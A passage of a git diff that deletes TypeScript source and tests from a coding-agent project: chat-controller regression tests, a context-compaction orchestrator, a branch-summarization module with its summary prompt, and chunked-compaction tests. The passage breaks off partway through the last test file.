"message_end", - message: makeAssistant([{ type: "text", text: "C" }, t2]), - } as any); -}); - -// Regression: after a sub-turn shrink, lastPinnedText must be cleared so the -// pinned "Latest Output" mirror can display text from the new sub-turn instead -// of staying frozen on a stale snapshot (the "bottom green stays" symptom). -test("chat-controller updates pinned zone after sub-turn shrink", async () => { - (globalThis as any)[Symbol.for("@singularity-forge/pi-coding-agent:theme")] = - { - fg: (_key: string, text: string) => text, - bg: (_key: string, text: string) => text, - bold: (text: string) => text, - italic: (text: string) => text, - truncate: (text: string) => text, - }; - - const host = createHost(); - host.getMarkdownThemeWithSettings = () => ({}); - - const t1 = { type: "toolCall", id: "t1", name: "tool_one", arguments: {} }; - const t2 = { type: "toolCall", id: "t2", name: "tool_two", arguments: {} }; - - await handleAgentEvent(host, { - type: "message_start", - message: makeAssistant([]), - } as any); - - // Sub-turn 1 with pinnable text before a tool → populates pinned zone with "first". - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([{ type: "text", text: "first" }, t1]), - assistantMessageEvent: { - type: "toolcall_end", - contentIndex: 1, - toolCall: { - ...t1, - externalResult: { - content: [{ type: "text", text: "r1" }], - details: {}, - isError: false, - }, - }, - partial: makeAssistant([{ type: "text", text: "first" }, t1]), - }, - } as any); - const pinnedMarkdown = host.pinnedMessageContainer.children[1]; - assert.equal( - (pinnedMarkdown as any)?.text, - "first", - "pinned zone seeded with sub-turn 1 text", - ); - - // Sub-turn boundary: content resets to [second, t2]. - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([{ type: "text", text: "second" }, t2]), - assistantMessageEvent: { - type: "toolcall_end", - contentIndex: 1, - toolCall: { - ...t2, - externalResult: { - content: [{ type: "text", text: "r2" }], - details: {}, - isError: false, - }, - }, - partial: makeAssistant([{ type: "text", text: "second" }, t2]), - }, - } as any); - - // Pinned markdown must now reflect the new sub-turn's text, not stay frozen on "first". - assert.equal( - (pinnedMarkdown as any)?.text, - "second", - "pinned zone must update after sub-turn shrink (#4144 regression)", - ); - - // Finalize so the module-level pinned spinner (setInterval) is torn down and the test process can exit. - await handleAgentEvent(host, { - type: "message_end", - message: makeAssistant([{ type: "text", text: "second" }, t2]), - } as any); -}); - -test("chat-controller: agent_end without message_end must not remove streaming component from DOM (regression #4197)", async () => { - const host = createHost(); - - await handleAgentEvent(host, { - type: "message_start", - message: makeAssistant([]), - } as any); - - // Simulate partial streaming that creates an AssistantMessageComponent - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant([{ type: "text", text: "partial answer" }]), - assistantMessageEvent: { - type: "text_delta", - contentIndex: 0, - delta: "partial answer", - partial: makeAssistant([{ type: "text", text: "partial answer" }]), - }, - } as any); - - // Precondition: component is in DOM - assert.equal( - host.chatContainer.children.length, - 1, - "streaming component must be in DOM after message_update", - ); - const comp = host.chatContainer.children[0]; - - // Simulate abort: agent_end fires WITHOUT message_end - await handleAgentEvent(host, { type: "agent_end" } as any); - - assert.equal( - host.chatContainer.children.length, - 1, - "agent_end must NOT remove the streaming component from the DOM (issue #4197)", - ); - assert.equal( - host.chatContainer.children[0], - comp, - "the same component instance must remain in the DOM after agent_end", - ); -}); - -test("chat-controller: agent_end after message_end must not alter DOM", async () => { - const host = createHost(); - const content = [{ type: "text", text: "complete answer" }]; - - await handleAgentEvent(host, { - type: "message_start", - message: makeAssistant([]), - } as any); - - await handleAgentEvent(host, { - type: "message_update", - message: makeAssistant(content), - assistantMessageEvent: { - type: "text_delta", - contentIndex: 0, - delta: "complete answer", - partial: makeAssistant(content), - }, - } as any); - - await handleAgentEvent(host, { - type: "message_end", - message: makeAssistant(content), - } as any); - - const countAfterMessageEnd = host.chatContainer.children.length; - assert.ok( - countAfterMessageEnd > 0, - "component must be present after message_end", - ); - - await handleAgentEvent(host, { type: "agent_end" } as any); - - assert.equal( - host.chatContainer.children.length, - countAfterMessageEnd, - "agent_end after message_end must not add or remove DOM nodes", - ); -}); diff --git a/packages/pi-coding-agent/src/core/compaction-orchestrator.ts b/packages/pi-coding-agent/src/core/compaction-orchestrator.ts deleted file mode 100644 index 758b26226..000000000 --- a/packages/pi-coding-agent/src/core/compaction-orchestrator.ts +++ /dev/null @@ -1,496 +0,0 @@ -/** - * CompactionOrchestrator - Manages manual and automatic context compaction. - * - * Handles: - * - Manual compaction (user-triggered /compact) - * - Auto-compaction when context exceeds threshold - * - Overflow recovery when LLM returns context overflow errors - * - Extension integration for custom compaction providers - * - Branch summarization abort coordination - */ - -import type { Agent } from "@singularity-forge/pi-agent-core"; -import type { AssistantMessage, Model } from "@singularity-forge/pi-ai"; -import { isContextOverflow } from "@singularity-forge/pi-ai"; -import { getErrorMessage } from "../utils/error.js"; -import type { AgentSessionEvent } from "./agent-session.js"; -import { - type CompactionResult, - calculateContextTokens, - compact, - estimateContextTokens, - prepareCompaction, - shouldCompact, -} from "./compaction/index.js"; -import type { - ExtensionRunner, - SessionBeforeCompactResult, -} from "./extensions/index.js"; -import type { ModelRegistry } from "./model-registry.js"; -import type { CompactionEntry, SessionManager } from "./session-manager.js"; -import { getLatestCompactionEntry } from "./session-manager.js"; -import type { SettingsManager } from "./settings-manager.js"; - -/** Dependencies injected from AgentSession into CompactionOrchestrator */ -export interface CompactionOrchestratorDeps { - readonly agent: Agent; - readonly sessionManager: SessionManager; - readonly settingsManager: SettingsManager; - readonly modelRegistry: ModelRegistry; - getModel: () => Model | undefined; - getSessionId: () => string; - getExtensionRunner: () => ExtensionRunner | undefined; - emit: (event: AgentSessionEvent) => void; - disconnectFromAgent: () => void; - reconnectToAgent: () => void; - abort: () => Promise; -} - -export class CompactionOrchestrator { - private _compactionAbortController: AbortController | undefined = undefined; - private _autoCompactionAbortController: AbortController | undefined = - undefined; - private _overflowRecoveryAttempted = false; - private _branchSummaryAbortController: AbortController | undefined = - undefined; - - constructor(private readonly _deps: CompactionOrchestratorDeps) {} - - /** Whether compaction or branch summarization is currently running */ - get isCompacting(): boolean { - return ( - this._autoCompactionAbortController !== undefined || - this._compactionAbortController !== undefined || - this._branchSummaryAbortController !== undefined - ); - } - - /** Reset overflow recovery flag (called when a new user message starts) */ - resetOverflowRecovery(): void { - this._overflowRecoveryAttempted = false; - } - - /** Mark overflow recovery as not needed (called on successful assistant response) */ - clearOverflowRecovery(): void { - this._overflowRecoveryAttempted = false; - } - - /** Get/set the branch summary abort controller (used by navigateTree) */ - get branchSummaryAbortController(): AbortController | undefined { - return this._branchSummaryAbortController; - } - set branchSummaryAbortController(controller: AbortController | undefined) { - this._branchSummaryAbortController = controller; - } - - /** - * Manually compact the session context. - * Aborts current agent operation first. - * @param customInstructions Optional instructions for the compaction summary - */ - async compact(customInstructions?: string): Promise { - this._deps.disconnectFromAgent(); - await this._deps.abort(); - this._compactionAbortController = new AbortController(); - - try { - const model = this._deps.getModel(); - if (!model) { - throw new Error("No model selected"); - } - - if (!this._deps.modelRegistry.isProviderRequestReady(model.provider)) { - throw new Error(`No API key for ${model.provider}`); - } - // undefined for externalCli/none providers — stripped at the streamSimple boundary (model-registry.ts) - const apiKey = await this._deps.modelRegistry.getApiKey( - model, - this._deps.getSessionId(), - ); - - const pathEntries = this._deps.sessionManager.getBranch(); - const settings = this._deps.settingsManager.getCompactionSettings(); - - const preparation = prepareCompaction(pathEntries, settings); - if (!preparation) { - const lastEntry = pathEntries[pathEntries.length - 1]; - if (lastEntry?.type === "compaction") { - throw new Error("Already compacted"); - } - throw new Error("Nothing to compact (session too small)"); - } - - let extensionCompaction: CompactionResult | undefined; - let fromExtension = false; - const extensionRunner = this._deps.getExtensionRunner(); - - if (extensionRunner?.hasHandlers("session_before_compact")) { - const result = (await extensionRunner.emit({ - type: "session_before_compact", - preparation, - branchEntries: pathEntries, - customInstructions, - signal: this._compactionAbortController.signal, - })) as SessionBeforeCompactResult | undefined; - - if (result?.cancel) { - throw new Error("Compaction cancelled"); - } - - if (result?.compaction) { - extensionCompaction = result.compaction; - fromExtension = true; - } - } - - let summary: string; - let firstKeptEntryId: string; - let tokensBefore: number; - let details: unknown; - - if (extensionCompaction) { - summary = extensionCompaction.summary; - firstKeptEntryId = extensionCompaction.firstKeptEntryId; - tokensBefore = extensionCompaction.tokensBefore ?? preparation.tokensBefore; - details = extensionCompaction.details; - } else { - const result = await compact( - preparation, - model, - apiKey, - customInstructions, - this._compactionAbortController.signal, - ); - summary = result.summary; - firstKeptEntryId = result.firstKeptEntryId; - tokensBefore = result.tokensBefore; - details = result.details; - } - - if (this._compactionAbortController.signal.aborted) { - throw new Error("Compaction cancelled"); - } - - this._deps.sessionManager.appendCompaction( - summary, - firstKeptEntryId, - tokensBefore, - details, - fromExtension, - ); - const newEntries = this._deps.sessionManager.getEntries(); - const sessionContext = this._deps.sessionManager.buildSessionContext(); - this._deps.agent.replaceMessages(sessionContext.messages); - - const savedCompactionEntry = newEntries.find( - (e) => e.type === "compaction" && e.summary === summary, - ) as CompactionEntry | undefined; - - if (extensionRunner && savedCompactionEntry) { - await extensionRunner.emit({ - type: "session_compact", - compactionEntry: savedCompactionEntry, - fromExtension, - }); - } - - return { summary, firstKeptEntryId, tokensBefore, details }; - } finally { - this._compactionAbortController = undefined; - this._deps.reconnectToAgent(); - } - } - - /** Cancel in-progress compaction (manual or auto) */ - abortCompaction(): void { - this._compactionAbortController?.abort(); - this._autoCompactionAbortController?.abort(); - } - - /** Cancel in-progress branch summarization */ - abortBranchSummary(): void { - this._branchSummaryAbortController?.abort(); - } - - /** - * Check if compaction is needed and run it. - * Called after agent_end and before prompt submission. - * - * Two cases: - * 1. Overflow: LLM returned context overflow error, remove error message, compact, auto-retry - * 2. Threshold: Context over threshold, compact, NO auto-retry - * - * @param assistantMessage The assistant message to check - * @param skipAbortedCheck If false, include aborted messages (for pre-prompt check). Default: true - */ - async checkCompaction( - assistantMessage: AssistantMessage, - skipAbortedCheck = true, - ): Promise { - const settings = this._deps.settingsManager.getCompactionSettings(); - if (!settings.enabled) return; - - if (skipAbortedCheck && assistantMessage.stopReason === "aborted") return; - - const model = this._deps.getModel(); - const contextWindow = model?.contextWindow ?? 0; - - const sameModel = - model && - assistantMessage.provider === model.provider && - assistantMessage.model === model.id; - - const branchEntries = this._deps.sessionManager.getBranch(); - const compactionEntry = getLatestCompactionEntry(branchEntries); - const assistantIsFromBeforeCompaction = - compactionEntry !== null && - assistantMessage.timestamp <= - new Date(compactionEntry.timestamp).getTime(); - if (assistantIsFromBeforeCompaction) return; - - // Case 1: Overflow - LLM returned context overflow error - if (sameModel && isContextOverflow(assistantMessage, contextWindow)) { - if (this._overflowRecoveryAttempted) { - this._deps.emit({ - type: "auto_compaction_end", - result: undefined, - aborted: false, - willRetry: false, - errorMessage: - "Context overflow recovery failed after one compact-and-retry attempt. Try reducing context or switching to a larger-context model.", - }); - return; - } - - this._overflowRecoveryAttempted = true; - const messages = this._deps.agent.state.messages; - if ( - messages.length > 0 && - messages[messages.length - 1].role === "assistant" - ) { - this._deps.agent.replaceMessages(messages.slice(0, -1)); - } - await this._runAutoCompaction("overflow", true); - return; - } - - // Case 2: Threshold - context is getting large - let contextTokens: number; - if (assistantMessage.stopReason === "error") { - const messages = this._deps.agent.state.messages; - const estimate = estimateContextTokens(messages); - if (estimate.lastUsageIndex === null) return; - const usageMsg = messages[estimate.lastUsageIndex]; - if ( - compactionEntry && - usageMsg.role === "assistant" && - (usageMsg as AssistantMessage).timestamp <= - new Date(compactionEntry.timestamp).getTime() - ) { - return; - } - contextTokens = estimate.tokens; - } else { - contextTokens = calculateContextTokens(assistantMessage.usage); - } - if (shouldCompact(contextTokens, contextWindow, settings)) { - await this._runAutoCompaction("threshold", false); - } - } - - /** Toggle auto-compaction setting */ - setAutoCompactionEnabled(enabled: boolean): void { - this._deps.settingsManager.setCompactionEnabled(enabled); - } - - /** Whether auto-compaction is enabled */ - get autoCompactionEnabled(): boolean { - return this._deps.settingsManager.getCompactionEnabled(); - } - - // ========================================================================= - // Private helpers - // ========================================================================= - - private async _runAutoCompaction( - reason: "overflow" | "threshold", - willRetry: boolean, - ): Promise { - const settings = this._deps.settingsManager.getCompactionSettings(); - - this._deps.emit({ type: "auto_compaction_start", reason }); - this._autoCompactionAbortController = new AbortController(); - - try { - const model = this._deps.getModel(); - if (!model) { - this._deps.emit({ - type: "auto_compaction_end", - result: undefined, - aborted: false, - willRetry: false, - }); - return; - } - - if (!this._deps.modelRegistry.isProviderRequestReady(model.provider)) { - this._deps.emit({ - type: "auto_compaction_end", - result: undefined, - aborted: false, - willRetry: false, - }); - return; - } - // undefined for externalCli/none providers — stripped at the streamSimple boundary (model-registry.ts) - const apiKey = await this._deps.modelRegistry.getApiKey( - model, - this._deps.getSessionId(), - ); - - const pathEntries = this._deps.sessionManager.getBranch(); - const preparation = prepareCompaction(pathEntries, settings); - if (!preparation) { - this._deps.emit({ - type: "auto_compaction_end", - result: undefined, - aborted: false, - willRetry: false, - }); - return; - } - - let extensionCompaction: CompactionResult | undefined; - let fromExtension = false; - const extensionRunner = this._deps.getExtensionRunner(); - - if (extensionRunner?.hasHandlers("session_before_compact")) { - const extensionResult = (await extensionRunner.emit({ - type: "session_before_compact", - preparation, - branchEntries: pathEntries, - customInstructions: undefined, - signal: this._autoCompactionAbortController.signal, - })) as SessionBeforeCompactResult | undefined; - - if (extensionResult?.cancel) { - this._deps.emit({ - type: "auto_compaction_end", - result: undefined, - aborted: true, - willRetry: false, - }); - return; - } - - if (extensionResult?.compaction) { - extensionCompaction = extensionResult.compaction; - fromExtension = true; - } - } - - let summary: string; - let firstKeptEntryId: string; - let tokensBefore: number; - let details: unknown; - - if (extensionCompaction) { - summary = extensionCompaction.summary; - firstKeptEntryId = extensionCompaction.firstKeptEntryId; - tokensBefore = extensionCompaction.tokensBefore ?? preparation.tokensBefore; - details = extensionCompaction.details; - } else { - const compactResult = await compact( - preparation, - model, - apiKey, - undefined, - this._autoCompactionAbortController.signal, - ); - summary = compactResult.summary; - firstKeptEntryId = compactResult.firstKeptEntryId; - tokensBefore = compactResult.tokensBefore; - details = compactResult.details; - } - - if (this._autoCompactionAbortController.signal.aborted) { - this._deps.emit({ - type: "auto_compaction_end", - result: undefined, - aborted: true, - willRetry: false, - }); - return; - } - - this._deps.sessionManager.appendCompaction( - summary, - firstKeptEntryId, - tokensBefore, - details, - fromExtension, - ); - const newEntries = this._deps.sessionManager.getEntries(); - const sessionContext = this._deps.sessionManager.buildSessionContext(); - this._deps.agent.replaceMessages(sessionContext.messages); - - const savedCompactionEntry = newEntries.find( - (e) => e.type === "compaction" && e.summary === summary, - ) as CompactionEntry | undefined; - - if (extensionRunner && savedCompactionEntry) { - await extensionRunner.emit({ - type: "session_compact", - compactionEntry: savedCompactionEntry, - fromExtension, - }); - } - - const result: CompactionResult = { - summary, - firstKeptEntryId, - tokensBefore, - details, - }; - this._deps.emit({ - type: "auto_compaction_end", - result, - aborted: false, - willRetry, - }); - - if (willRetry) { - const messages = this._deps.agent.state.messages; - const lastMsg = messages[messages.length - 1]; - if ( - lastMsg?.role === "assistant" && - (lastMsg as AssistantMessage).stopReason === "error" - ) { - this._deps.agent.replaceMessages(messages.slice(0, -1)); - } - - setTimeout(() => { - this._deps.agent.continue().catch(() => {}); - }, 100); - } else if (this._deps.agent.hasQueuedMessages()) { - setTimeout(() => { - this._deps.agent.continue().catch(() => {}); - }, 100); - } - } catch (error) { - const errorMessage = getErrorMessage(error); - this._deps.emit({ - type: "auto_compaction_end", - result: undefined, - aborted: false, - willRetry: false, - errorMessage: - reason === "overflow" - ? `Context overflow recovery failed: ${errorMessage}` - : `Auto-compaction failed: ${errorMessage}`, - }); - } finally { - this._autoCompactionAbortController = undefined; - } - } -} diff --git a/packages/pi-coding-agent/src/core/compaction-utils.test.ts b/packages/pi-coding-agent/src/core/compaction-utils.test.ts deleted file mode 100644 index bfa066a9a..000000000 --- a/packages/pi-coding-agent/src/core/compaction-utils.test.ts +++ /dev/null @@ -1,75 +0,0 @@ -import assert from "node:assert/strict"; -import type { Message } from "@singularity-forge/pi-ai"; -import { test } from "vitest"; - -import { serializeConversation } from "./compaction/index.js"; - -test("serializeConversation uses narrative role markers instead of chat-style delimiters (#4054)", () => { - const messages: Message[] = [ - { role: "user", content: "Please refactor the parser." } as Message, - { - role: "assistant", - content: [ - { - type: "thinking", - thinking: "I should inspect the parser entry points first.", - }, - { type: "text", text: "I'll start with the parser entry points." }, - { - type: "toolCall", - id: "tool-1", - name: "Read", - arguments: { path: "src/parser.ts" }, - }, - ], - api: "anthropic-messages", - provider: "anthropic", - model: "claude-sonnet-4-6", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "stop", - timestamp: Date.now(), - } as Message, - { - role: "toolResult", - content: [{ type: "text", text: "parser contents" }], - toolName: "Read", - toolCallId: "tool-1", - } as Message, - ]; - - const serialized = serializeConversation(messages); - - assert.match(serialized, /\*\*User said:\*\* Please refactor the parser\./); - assert.match( - serialized, - /\*\*Assistant thinking:\*\* I should inspect the parser entry points first\./, - ); - assert.match( - serialized, - /\*\*Assistant responded:\*\* I'll start with the parser entry points\./, - ); - assert.match( - serialized, - /\*\*Assistant tool calls:\*\* Read\(path="src\/parser\.ts"\)/, - ); - assert.match(serialized, /\*\*Tool result:\*\* parser contents/); - assert.ok( - !serialized.includes("[User]:"), - "chat-style [User]: markers should not remain", - ); - assert.ok( - !serialized.includes("[Assistant]:"), - "chat-style [Assistant]: markers should not remain", - ); - assert.ok( - !serialized.includes("[Tool result]:"), - "chat-style [Tool result]: markers should not remain", - ); -}); diff --git a/packages/pi-coding-agent/src/core/compaction/branch-summarization.ts b/packages/pi-coding-agent/src/core/compaction/branch-summarization.ts deleted file mode 100644 index bf38325d6..000000000 --- a/packages/pi-coding-agent/src/core/compaction/branch-summarization.ts +++ /dev/null @@ -1,323 +0,0 @@ -/** - * Branch summarization for tree navigation. - * - * When navigating to a different point in the session tree, this generates - * a summary of the branch being left so context isn't lost. - */ - -import type { AgentMessage } from "@singularity-forge/pi-agent-core"; -import type { Model } from "@singularity-forge/pi-ai"; -import { completeSimple } from "@singularity-forge/pi-ai"; -import { COMPACTION_RESERVE_TOKENS } from "../constants.js"; -import { convertToLlm } from "../messages.js"; -import type { - ReadonlySessionManager, - SessionEntry, -} from "../session-manager.js"; -import { estimateTokens } from "./compaction.js"; -import { - computeFileLists, - createFileOps, - createSummarizationMessage, - extractFileOpsFromMessage, - extractTextContent, - type FileOperations, - formatFileOperations, - getMessageFromEntry, - SUMMARIZATION_SYSTEM_PROMPT, - serializeConversation, -} from "./utils.js"; - -// ============================================================================ -// Types -// ============================================================================ - -export interface BranchSummaryResult { - summary?: string; - readFiles?: string[]; - modifiedFiles?: string[]; - aborted?: boolean; - error?: string; -} - -/** Details stored in BranchSummaryEntry.details for file tracking */ -export interface BranchSummaryDetails { - readFiles: string[]; - modifiedFiles: string[]; -} - -export type { FileOperations } from "./utils.js"; - -export interface BranchPreparation { - /** Messages extracted for summarization, in chronological order */ - messages: AgentMessage[]; - /** File operations extracted from tool calls */ - fileOps: FileOperations; - /** Total estimated tokens in messages */ - totalTokens: number; -} - -export interface CollectEntriesResult { - /** Entries to summarize, in chronological order */ - entries: SessionEntry[]; - /** Common ancestor between old and new position, if any */ - commonAncestorId: string | null; -} - -export interface GenerateBranchSummaryOptions { - /** Model to use for summarization */ - model: Model; - /** API key for the model. Undefined for externalCli/none providers. */ - apiKey: string | undefined; - /** Abort signal for cancellation */ - signal: AbortSignal; - /** Optional custom instructions for summarization */ - customInstructions?: string; - /** If true, customInstructions replaces the default prompt instead of being appended */ - replaceInstructions?: boolean; - /** Tokens reserved for prompt + LLM response (default 16384) */ - reserveTokens?: number; -} - -// ============================================================================ -// Entry Collection -// ============================================================================ - -/** - * Collect entries that should be summarized when navigating from one position to another. - * - * Walks from oldLeafId back to the common ancestor with targetId, collecting entries - * along the way. Does NOT stop at compaction boundaries - those are included and their - * summaries become context. - * - * @param session - Session manager (read-only access) - * @param oldLeafId - Current position (where we're navigating from) - * @param targetId - Target position (where we're navigating to) - * @returns Entries to summarize and the common ancestor - */ -export function collectEntriesForBranchSummary( - session: ReadonlySessionManager, - oldLeafId: string | null, - targetId: string, -): CollectEntriesResult { - // If no old position, nothing to summarize - if (!oldLeafId) { - return { entries: [], commonAncestorId: null }; - } - - // Find common ancestor (deepest node that's on both paths) - const oldPath = new Set(session.getBranch(oldLeafId).map((e) => e.id)); - const targetPath = session.getBranch(targetId); - - // targetPath is root-first, so iterate backwards to find deepest common ancestor - let commonAncestorId: string | null = null; - for (let i = targetPath.length - 1; i >= 0; i--) { - if (oldPath.has(targetPath[i].id)) { - commonAncestorId = targetPath[i].id; - break; - } - } - - // Collect entries from old leaf back to common ancestor - const entries: SessionEntry[] = []; - let current: string | null = oldLeafId; - - while (current && current !== commonAncestorId) { - const entry = session.getEntry(current); - if (!entry) break; - entries.push(entry); - current = entry.parentId; - } - - // Reverse to get chronological order - entries.reverse(); - - return { entries, commonAncestorId }; -} - -/** - * Prepare entries for summarization with token budget. - * - * Walks entries from NEWEST to OLDEST, adding messages until we hit the token budget. - * This ensures we keep the most recent context when the branch is too long. - * - * Also collects file operations from: - * - Tool calls in assistant messages - * - Existing branch_summary entries' details (for cumulative tracking) - * - * @param entries - Entries in chronological order - * @param tokenBudget - Maximum tokens to include (0 = no limit) - */ -export function prepareBranchEntries( - entries: SessionEntry[], - tokenBudget: number = 0, -): BranchPreparation { - const messages: AgentMessage[] = []; - const fileOps = createFileOps(); - let totalTokens = 0; - - // First pass: collect file ops from ALL entries (even if they don't fit in token budget) - // This ensures we capture cumulative file tracking from nested branch summaries - // Only extract from pi-generated summaries (fromHook !== true), not extension-generated ones - for (const entry of entries) { - if (entry.type === "branch_summary" && !entry.fromHook && entry.details) { - const details = entry.details as BranchSummaryDetails; - if (Array.isArray(details.readFiles)) { - for (const f of details.readFiles) fileOps.read.add(f); - } - if (Array.isArray(details.modifiedFiles)) { - // Modified files go into both edited and written for proper deduplication - for (const f of details.modifiedFiles) { - fileOps.edited.add(f); - } - } - } - } - - // Second pass: walk from newest to oldest, adding messages until token budget - for (let i = entries.length - 1; i >= 0; i--) { - const entry = entries[i]; - const message = getMessageFromEntry(entry, /* skipToolResults */ true); - if (!message) continue; - - // Extract file ops from assistant messages (tool calls) - extractFileOpsFromMessage(message, fileOps); - - const tokens = estimateTokens(message); - - // Check budget before adding - if (tokenBudget > 0 && totalTokens + tokens > tokenBudget) { - // If this is a summary entry, try to fit it anyway as it's important context - if (entry.type === "compaction" || entry.type === "branch_summary") { - if (totalTokens < tokenBudget * 0.9) { - messages.unshift(message); - totalTokens += tokens; - } - } - // Stop - we've hit the budget - break; - } - - messages.unshift(message); - totalTokens += tokens; - } - - return { messages, fileOps, totalTokens }; -} - -// ============================================================================ -// Summary Generation -// ============================================================================ - -const BRANCH_SUMMARY_PREAMBLE = `The user explored a different conversation branch before returning here. -Summary of that exploration: - -`; - -const BRANCH_SUMMARY_PROMPT = `Create a structured summary of this conversation branch for context when returning later. - -Use this EXACT format: - -## Goal -[What was the user trying to accomplish in this branch?] - -## Constraints & Preferences -- [Any constraints, preferences, or requirements mentioned] -- [Or "(none)" if none were mentioned] - -## Progress -### Done -- [x] [Completed tasks/changes] - -### In Progress -- [ ] [Work that was started but not finished] - -### Blocked -- [Issues preventing progress, if any] - -## Key Decisions -- **[Decision]**: [Brief rationale] - -## Next Steps -1. [What should happen next to continue this work] - -Keep each section concise. Preserve exact file paths, function names, and error messages.`; - -/** - * Generate a summary of abandoned branch entries. - * - * @param entries - Session entries to summarize (chronological order) - * @param options - Generation options - */ -export async function generateBranchSummary( - entries: SessionEntry[], - options: GenerateBranchSummaryOptions, -): Promise { - const { - model, - apiKey, - signal, - customInstructions, - replaceInstructions, - reserveTokens = COMPACTION_RESERVE_TOKENS, - } = options; - - // Token budget = context window minus reserved space for prompt + response - const contextWindow = model.contextWindow || 128000; - const tokenBudget = contextWindow - reserveTokens; - - const { messages, fileOps } = prepareBranchEntries(entries, tokenBudget); - - if (messages.length === 0) { - return { summary: "No content to summarize" }; - } - - // Transform to LLM-compatible messages, then serialize to text - // Serialization prevents the model from treating it as a conversation to continue - const llmMessages = convertToLlm(messages); - const conversationText = serializeConversation(llmMessages); - - // Build prompt - let instructions: string; - if (replaceInstructions && customInstructions) { - instructions = customInstructions; - } else if (customInstructions) { - instructions = `${BRANCH_SUMMARY_PROMPT}\n\nAdditional focus: ${customInstructions}`; - } else { - instructions = BRANCH_SUMMARY_PROMPT; - } - const promptText = `\n${conversationText}\n\n\n${instructions}`; - - // Call LLM for summarization - const response = await completeSimple( - model, - { - systemPrompt: SUMMARIZATION_SYSTEM_PROMPT, - messages: createSummarizationMessage(promptText), - }, - { apiKey, signal, maxTokens: 2048 }, - ); - - // Check if aborted or errored - if (response.stopReason === "aborted") { - return { aborted: true }; - } - if (response.stopReason === "error") { - return { error: response.errorMessage || "Summarization failed" }; - } - - let summary = extractTextContent(response.content); - - // Prepend preamble to provide context about the branch summary - summary = BRANCH_SUMMARY_PREAMBLE + summary; - - // Compute file lists and append to summary - const { readFiles, modifiedFiles } = computeFileLists(fileOps); - summary += formatFileOperations(readFiles, modifiedFiles); - - return { - summary: summary || "No summary generated", - readFiles, - modifiedFiles, - }; -} diff --git a/packages/pi-coding-agent/src/core/compaction/compaction.test.ts b/packages/pi-coding-agent/src/core/compaction/compaction.test.ts deleted file mode 100644 index d1bd85355..000000000 --- a/packages/pi-coding-agent/src/core/compaction/compaction.test.ts +++ /dev/null @@ -1,267 +0,0 @@ -/** - * Tests for chunked compaction fallback when messages exceed model context window. - * Regression test for #2932. - */ - -import assert from "node:assert/strict"; -import type { AgentMessage } from "@singularity-forge/pi-agent-core"; -import type { AssistantMessage, Model } from "@singularity-forge/pi-ai"; -import { describe, it, vi } from "vitest"; - -import { - chunkMessages, - estimateTokens, - generateSummary, -} from "./compaction.js"; - -// --------------------------------------------------------------------------- -// Helpers -// --------------------------------------------------------------------------- - -/** Create a user message with approximately `tokenCount` tokens (chars = tokens * 4). */ -function makeUserMessage(tokenCount: number): AgentMessage { - const text = "x".repeat(tokenCount * 4); - return { role: "user", content: text } as unknown as AgentMessage; -} - -/** Create a mock model with a given context window. */ -function makeModel(contextWindow: number): Model { - return { - id: "test-model", - name: "Test Model", - api: "anthropic-messages", - provider: "anthropic", - baseUrl: "https://api.test", - reasoning: false, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow, - maxTokens: 4096, - } as Model; -} - -function makeFakeResponse(text: string): AssistantMessage { - return { - content: [{ type: "text", text }], - stopReason: "end_turn", - } as unknown as AssistantMessage; -} - -// --------------------------------------------------------------------------- -// chunkMessages tests -// --------------------------------------------------------------------------- - -describe("chunkMessages", () => { - it("returns a single chunk when messages fit in budget", () => { - const messages: AgentMessage[] = [ - makeUserMessage(1_000), - makeUserMessage(1_000), - ]; - const chunks = chunkMessages(messages, 100_000); - assert.equal(chunks.length, 1); - assert.equal(chunks[0].length, 2); - }); - - it("splits messages into multiple chunks when they exceed budget", () => { - const messages: AgentMessage[] = [ - makeUserMessage(50_000), - makeUserMessage(50_000), - makeUserMessage(50_000), - ]; - // Budget of 80k tokens means each 50k message gets its own chunk - // (or two fit together if budget allows) - const chunks = chunkMessages(messages, 80_000); - assert.ok( - chunks.length > 1, - `Expected multiple chunks, got ${chunks.length}`, - ); - // All messages should be present across chunks - const totalMessages = chunks.reduce((sum, c) => sum + c.length, 0); - assert.equal(totalMessages, 3); - }); - - it("puts a single oversized message in its own chunk", () => { - const messages: AgentMessage[] = [ - makeUserMessage(200_000), // Way over any reasonable budget - ]; - const chunks = chunkMessages(messages, 80_000); - assert.equal(chunks.length, 1); - assert.equal(chunks[0].length, 1); - }); - - it("preserves message order across chunks", () => { - // Create messages with identifiable sizes - const messages: AgentMessage[] = [ - makeUserMessage(30_000), // ~30k tokens - makeUserMessage(30_000), - makeUserMessage(30_000), - makeUserMessage(30_000), - ]; - const chunks = chunkMessages(messages, 50_000); - // Reconstruct original order - const flat = chunks.flat(); - assert.equal(flat.length, 4); - for (let i = 0; i < flat.length; i++) { - assert.strictEqual( - flat[i], - messages[i], - `Message ${i} should be in order`, - ); - } - }); -}); - -// --------------------------------------------------------------------------- -// generateSummary chunked fallback tests -// --------------------------------------------------------------------------- - -describe("generateSummary — chunked fallback (#2932)", () => { - it("calls _completeFn multiple times when messages exceed model context window", async () => { - // Arrange: 3 messages of ~80k tokens each = ~240k total, model has 200k window - const messages: AgentMessage[] = [ - makeUserMessage(80_000), - makeUserMessage(80_000), - makeUserMessage(80_000), - ]; - const model = makeModel(200_000); - const reserveTokens = 16_384; - - // Verify our test setup: messages really do exceed the model window - let totalTokens = 0; - for (const m of messages) totalTokens += estimateTokens(m); - assert.ok( - totalTokens > model.contextWindow, - `Test setup: ${totalTokens} tokens should exceed ${model.contextWindow} context window`, - ); - - // Track calls - const calls: string[] = []; - const mockComplete = vi.fn( - async (_model: any, context: any, _options: any) => { - const userMsg = context.messages?.[0]; - const text = - typeof userMsg?.content === "string" - ? userMsg.content - : (userMsg?.content?.[0]?.text ?? ""); - - if (text.includes("")) { - calls.push("update"); - } else { - calls.push("initial"); - } - return makeFakeResponse("Summary of chunk"); - }, - ); - - const summary = await generateSummary( - messages, - model, - reserveTokens, - undefined, // apiKey - undefined, // signal - undefined, // customInstructions - undefined, // previousSummary - mockComplete, // _completeFn override for testing - ); - - // Assert: should have called completeSimple more than once (chunked) - assert.ok( - mockComplete.mock.calls.length > 1, - `Expected multiple calls for chunked summarization, got 